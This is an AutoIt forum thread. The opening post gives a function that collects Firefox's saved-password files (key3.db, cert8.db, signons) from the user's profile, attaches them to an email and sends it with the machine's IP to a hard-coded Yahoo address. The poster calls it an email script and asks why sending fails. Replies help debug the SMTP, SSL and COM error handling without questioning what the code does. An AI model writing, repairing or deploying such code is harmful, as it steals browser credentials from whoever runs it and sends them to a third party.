Jump to content

Ahhh, Emails


Fewmitz
 Share

Recommended Posts

Func _INetSmtpMailCom($Body)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body
    $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1)
    $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1)
    $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1)
    $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1]
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
        $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
        If FileExists($S_Files2Attach[$x]) Then
            $objEmail.AddAttachment ($S_Files2Attach[$x])
        EndIf
    Next
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send
EndFunc

This should logically work, but I get an error once I get to the "$objEmail.Send" part, anyone have any ideas why?

It says that this action could not be completed with this object, or something similar to that, if that helps.

Link to comment
Share on other sites

  • Developers

What is the information you get from your Com Error handler ?

Edited by Jos

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

your error is likely that yahoo doesn't use ssl on their mail servers.

edit: added italic section.

that doesn't mean that you shouldn't install a com error handler so you know _what_ went wrong,

as opposed to _something_ went wrong.

Edited by flyingboz

Reading the help file before you post... Not only will it make you look smarter, it will make you smarter.

Link to comment
Share on other sites

So then if I changed it from Yahoo back to GMail, it would work again?

sigh.....

Is it so hard to believe that different vendors may set their servers up in different ways?

Reading the help file before you post... Not only will it make you look smarter, it will make you smarter.

Link to comment
Share on other sites

  • Developers

From my who what now?

Have a look in the AutoIt3 Helpfile under: AutoIt\Function Reference\Obj. Com Reference.

That page describes all about Com objects and also explains the "Com Error Handling"

Jos

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

sigh.....

Is it so hard to believe that different vendors may set their servers up in different ways?

Because clearly my question was disbelief, and not me asking if gmail uses ssl.

Have a look in the AutoIt3 Helpfile under: AutoIt\Function Reference\Obj. Com Reference.

That page describes all about Com objects and also explains the "Com Error Handling"

Jos

Ah, good times. Thanks.

Link to comment
Share on other sites

This should logically work, but I get an error once I get to the "$objEmail.Send" part, anyone have any ideas why?

It says that this action could not be completed with this object, or something similar to that, if that helps.

ObjCreate("CDO.Message") worls on WINXP and not on WIN9x.

You may add this to cancel function on error after creating object:

Dim $oMyError = ObjEvent ("AutoIt.Error", "ErrorHandler")

Func ErrorHandler()
    $HexNumber = Hex($oMyError.number, 8)
        MsgBox(16, "CHYBA", "Při odesílání emailu došlo k chybě!" & @CRLF & @CRLF & _
            "Popis chyby: " & @TAB & $oMyError.description & @CRLF & _
            "Win. popis:" & @TAB & $oMyError.windescription & @CRLF & _
            "Číslo řádku: " & @TAB & $oMyError.scriptline & @CRLF & _
            "Číslo chyby: " & @TAB & $HexNumber & @CRLF & _
            "Objekt: " & @TAB & $oMyError.source)
        SetError(1)
    EndFunc

...

$objMessage = ObjCreate ("CDO.Message")
    If @error Then Return
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...